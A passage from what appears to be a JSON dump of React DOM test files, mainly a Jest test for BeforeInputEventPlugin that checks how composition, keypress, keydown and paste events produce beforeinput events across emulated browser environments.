 cancelable: true,\n        });\n        container.firstChild.dispatchEvent(nativeEvent);\n        expect(key).toBe('Delete');\n      });\n    });\n\n    describe('when key is normalized', () => {\n      it('returns a key', async () => {\n        let key = null;\n        class Comp extends React.Component {\n          render() {\n            return <input onKeyDown={e => (key = e.key)} />;\n          }\n        }\n\n        await act(() => {\n          root.render(<Comp />);\n        });\n\n        const nativeEvent = new KeyboardEvent('keydown', {\n          key: 'f',\n          bubbles: true,\n          cancelable: true,\n        });\n        container.firstChild.dispatchEvent(nativeEvent);\n        expect(key).toBe('f');\n      });\n    });\n  });\n\n  describe('when key is not implemented in a browser', () => {\n    describe('when event type is keypress', () => {\n      describe('when charCode is 13', () => {\n        it('returns \"Enter\"', async () => {\n          let key = null;\n          class Comp extends React.Component {\n            render() {\n              return <input onKeyPress={e => (key = e.key)} />;\n            }\n          }\n\n          await act(() => {\n            root.render(<Comp />);\n          });\n\n          const nativeEvent = new KeyboardEvent('keypress', {\n            charCode: 13,\n            bubbles: true,\n            cancelable: true,\n          });\n          container.firstChild.dispatchEvent(nativeEvent);\n          expect(key).toBe('Enter');\n        });\n      });\n\n      describe('when charCode is not 13', () => {\n        it('returns a string from a charCode', async () => {\n          let key = null;\n          class Comp extends React.Component {\n            render() {\n              return <input onKeyPress={e => (key = e.key)} />;\n            }\n          }\n\n          await act(() => {\n            root.render(<Comp />);\n          });\n\n          const nativeEvent = new KeyboardEvent('keypress', {\n            charCode: 65,\n            bubbles: true,\n            cancelable: true,\n          });\n          container.firstChild.dispatchEvent(nativeEvent);\n          expect(key).toBe('A');\n        });\n      });\n    });\n\n    describe('when event type is keydown or keyup', () => {\n      describe('when keyCode is recognized', () => {\n        it('returns a translated key', async () => {\n          let key = null;\n          class Comp extends React.Component {\n            render() {\n              return <input onKeyDown={e => (key = e.key)} />;\n            }\n          }\n\n          await act(() => {\n            root.render(<Comp />);\n          });\n\n          const nativeEvent = new KeyboardEvent('keydown', {\n            keyCode: 45,\n            bubbles: true,\n            cancelable: true,\n          });\n          container.firstChild.dispatchEvent(nativeEvent);\n          expect(key).toBe('Insert');\n        });\n      });\n\n      describe('when keyCode is not recognized', () => {\n        it('returns Unidentified', async () => {\n          let key = null;\n          class Comp extends React.Component {\n            render() {\n              return <input onKeyDown={e => (key = e.key)} />;\n            }\n          }\n\n          await act(() => {\n            root.render(<Comp />);\n          });\n\n          const nativeEvent = new KeyboardEvent('keydown', {\n            keyCode: 1337,\n            bubbles: true,\n            cancelable: true,\n          });\n          container.firstChild.dispatchEvent(nativeEvent);\n          expect(key).toBe('Unidentified');\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/plugins/__tests__/BeforeInputEventPlugin-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('BeforeInputEventPlugin', () => {\n  let container;\n\n  function loadReactDOMClientAndAct(envSimulator) {\n    jest.resetModules();\n    if (envSimulator) {\n      envSimulator();\n    }\n    return {\n      ReactDOMClient: require('react-dom/client'),\n      act: require('internal-test-utils').act,\n    };\n  }\n\n  function simulateIE11() {\n    document.documentMode = 11;\n    window.CompositionEvent = {};\n  }\n\n  function simulateWebkit() {\n    window.CompositionEvent = {};\n    window.TextEvent = {};\n  }\n\n  function simulateComposition() {\n    window.CompositionEvent = {};\n  }\n\n  function simulateNoComposition() {\n    // no composition event in Window - will use fallback\n  }\n\n  function simulateEvent(elem, type, data) {\n    const event = new Event(type, {bubbles: true});\n    Object.assign(event, data);\n    elem.dispatchEvent(event);\n  }\n\n  function simulateKeyboardEvent(elem, type, data) {\n    const {char, value, ...rest} = data;\n    const event = new KeyboardEvent(type, {\n      bubbles: true,\n      ...rest,\n    });\n    if (char) {\n      event.char = char;\n    }\n    if (value) {\n      elem.value = value;\n    }\n    elem.dispatchEvent(event);\n  }\n\n  function simulatePaste(elem) {\n    const pasteEvent = new Event('paste', {\n      bubbles: true,\n    });\n    pasteEvent.clipboardData = {\n      dropEffect: null,\n      effectAllowed: null,\n      files: null,\n      items: null,\n      types: null,\n    };\n    elem.dispatchEvent(pasteEvent);\n  }\n\n  beforeEach(() => {\n    React = require('react');\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    delete document.documentMode;\n    delete window.CompositionEvent;\n    delete window.TextEvent;\n    delete window.opera;\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  function keyCode(char) {\n    return char.charCodeAt(0);\n  }\n\n  const scenarios = [\n    {\n      eventSimulator: simulateEvent,\n      eventSimulatorArgs: [\n        'compositionstart',\n        {detail: {data: 'test'}, data: 'test'},\n      ],\n    },\n    {\n      eventSimulator: simulateEvent,\n      eventSimulatorArgs: [\n        'compositionupdate',\n        {detail: {data: 'test string'}, data: 'test string'},\n      ],\n    },\n    {\n      eventSimulator: simulateEvent,\n      eventSimulatorArgs: [\n        'compositionend',\n        {detail: {data: 'test string 3'}, data: 'test string 3'},\n      ],\n    },\n    {\n      eventSimulator: simulateEvent,\n      eventSimulatorArgs: ['textInput', {data: 'abcß'}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keypress', {which: keyCode('a')}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keypress', {which: keyCode(' ')}, ' '],\n    },\n    {\n      eventSimulator: simulateEvent,\n      eventSimulatorArgs: ['textInput', {data: ' '}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keypress', {which: keyCode('a'), ctrlKey: true}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keypress', {which: keyCode('b'), altKey: true}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: [\n        'keypress',\n        {which: keyCode('c'), altKey: true, ctrlKey: true},\n      ],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: [\n        'keypress',\n        {which: keyCode('X'), char: '\\uD83D\\uDE0A'},\n      ],\n    },\n    {\n      eventSimulator: simulateEvent,\n      eventSimulatorArgs: ['textInput', {data: '\\uD83D\\uDE0A'}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keydown', {keyCode: 229, value: 'foo'}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keydown', {keyCode: 9, value: 'foobar'}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keydown', {keyCode: 229, value: 'foofoo'}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keyup', {keyCode: 9, value: 'fooBARfoo'}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keydown', {keyCode: 229, value: 'foofoo'}],\n    },\n    {\n      eventSimulator: simulateKeyboardEvent,\n      eventSimulatorArgs: ['keypress', {keyCode: 60, value: 'Barfoofoo'}],\n    },\n    {\n      eventSimulator: simulatePaste,\n      eventSimulatorArgs: [],\n    },\n  ];\n\n  const environments = [\n    {\n      emulator: simulateWebkit,\n      assertions: [\n        {\n          run: ({\n            beforeInputEvent,\n            compositionStartEvent,\n            spyOnBeforeInput,\n            spyOnCompositionStart,\n          }) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n            expect(spyOnCompositionStart).toHaveBeenCalledTimes(1);\n            expect(compositionStartEvent.type).toBe('compositionstart');\n            expect(compositionStartEvent.data).toBe('test');\n          },\n        },\n        {\n          run: ({\n            beforeInputEvent,\n            compositionUpdateEvent,\n            spyOnBeforeInput,\n            spyOnCompositionUpdate,\n          }) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n            expect(spyOnCompositionUpdate).toHaveBeenCalledTimes(1);\n            expect(compositionUpdateEvent.type).toBe('compositionupdate');\n            expect(compositionUpdateEvent.data).toBe('test string');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('compositionend');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('test string 3');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('textInput');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('abcß');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe(' ');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('textInput');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('\\uD83D\\uDE0A');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n      ],\n    },\n    {\n      emulator: simulateIE11,\n      assertions: [\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('a');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe(' ');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('c');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('\\uD83D\\uDE0A');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n      ],\n    },\n    {\n      emulator: simulateNoComposition,\n      assertions: [\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('a');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe(' ');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('c');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('\\uD83D\\uDE0A');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keydown');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('bar');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keyup');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('BAR');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('Bar');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n      ],\n    },\n    {\n      emulator: simulateComposition,\n      assertions: [\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('compositionend');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('test string 3');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('a');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe(' ');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('c');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(1);\n            expect(beforeInputEvent.nativeEvent.type).toBe('keypress');\n            expect(beforeInputEvent.type).toBe('beforeinput');\n            expect(beforeInputEvent.data).toBe('\\uD83D\\uDE0A');\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n        {\n          run: ({beforeInputEvent, spyOnBeforeInput}) => {\n            expect(spyOnBeforeInput).toHaveBeenCalledTimes(0);\n            expect(beforeInputEvent).toBeNull();\n          },\n        },\n      ],\n    },\n  ];\n\n  const testInputComponent = async (env, scenes) => {\n    let beforeInputEvent;\n    let compositionStartEvent;\n    let compositionUpdateEvent;\n    let spyOnBeforeInput;\n    let spyOnCompositionStart;\n    let spyOnCompositionUpdate;\n    ({ReactDOMClient, act} = loadReactDOMClientAndAct(env.emulator));\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <input\n          type=\"text\"\n          onBeforeInput={e => {\n            spyOnBeforeInput();\n            beforeInputEvent = e;\n          }}\n          onCompositionStart={e => {\n            spyOnCompositionStart();\n            compositionStartEvent = e;\n          }}\n          onCompositionUpdate={e => {\n            spyOnCompositionUpdate();\n            compositionUpdateEvent = e;\n          }}\n        />,\n      );\n    });\n\n    const node = container.firstChild;\n\n    scenes.forEach((s, id) => {\n      beforeInputEvent = null;\n      compositionStartEvent = null;\n      compositionUpdateEvent = null;\n      spyOnBeforeInput = jest.fn();\n      spyOnCompositionStart = jest.fn();\n      spyOnCompositionUpdate = jest.fn();\n      s.eventSimulator.apply(null, [node, ...s.eventSimulatorArgs]);\n      env.assertions[id].run({\n        beforeInputEvent,\n        compositionStartEvent,\n        compositionUpdateEvent,\n        spyOnBeforeInput,\n        spyOnCompositionStart,\n        spyOnCompositionUpdate,\n      });\n    });\n  };\n\n  const testContentEditableComponent = async (env, scenes) => {\n    let beforeInputEvent;\n    let compositionStartEvent;\n    let compositionUpdateEvent;\n    let spyOnBeforeInput;\n    let spyOnCompositionStart;\n    let spyOnCompositionUpdate;\n    ({ReactDOMClient, act} = loadReactDOMClientAndAct(env.emulator));\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <div\n          contentEditable={true}\n          onBeforeInput={e => {\n            spyOnBeforeInput();\n            beforeInputEvent = e;\n          }}\n          onCompositionStart={e => {\n            spyOnCompositionStart();\n            compositionStartEvent = e;\n          }}\n          onCompositionUpdate={e => {\n            spyOnCompositionUpdate();\n            compositionUpdateEvent = e;\n          }}\n        />,\n      );\n    });\n\n    const node = container.firstChild;\n\n    scenes.forEach((s, id) => {\n      beforeInputEvent = null;\n      compositionStartEvent = null;\n      compositionUpdateEvent = null;\n      spyOnBeforeInput = jest.fn();\n      spyOnCompositionStart = jest.fn();\n      spyOnCompositionUpdate = jest.fn();\n      s.eventSimulator.apply(null, [node, ...s.eventSimulatorArgs]);\n      env.assertions[id].run({\n        beforeInputEvent,\n        compositionStartEvent,\n        compositionUpdateEvent,\n        spyOnBeforeInput,\n        spyOnCompositionStart,\n        spyOnCompositionUpdate,\n      });\n    });\n  };\n\n  it('should extract onBeforeInput when simulating in Webkit on input[type=text]', async () => {\n    await testInputComponent(environments[0], scenarios);\n  });\n  it('should extract onBeforeInput when simulating in Webkit on contenteditable', async () => {\n    await testContentEditableComponent(environments[0], scenarios);\n  });\n\n  it('should extract onBeforeInput when simulating in IE11 on input[type=text]', async () => {\n    await testInputComponent(environments[1], scenarios);\n  });\n  it('should extract onBeforeInput when simulating in IE11 on contenteditable', async () => {\n    await testContentEditableComponent(environments[1], scenarios);\n  });\n\n  it('should extract onBeforeInput when simulating in env with no CompositionEvent on input[type=text]', async () => {\n    await testInputComponent(environments[2], scenarios);\n  });\n\n  // in an environment using composition fallback onBeforeInput will not work\n  // as expected on a contenteditable as keydown and keyup events are translated\n  // to keypress events\n\n  it('should extract onBeforeInput when simulating in env with only CompositionEvent on input[type=text]', async () => {\n    await testInputComponent(environments[3], scenarios);\n  });\n\n  it('should extract onBeforeInput when simulating in env with only CompositionEvent on contenteditable', async () => {\n    await testContentEditableComponent(environments[3], scenarios);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/plugins/__tests__/ChangeEventPlugin-test.js",
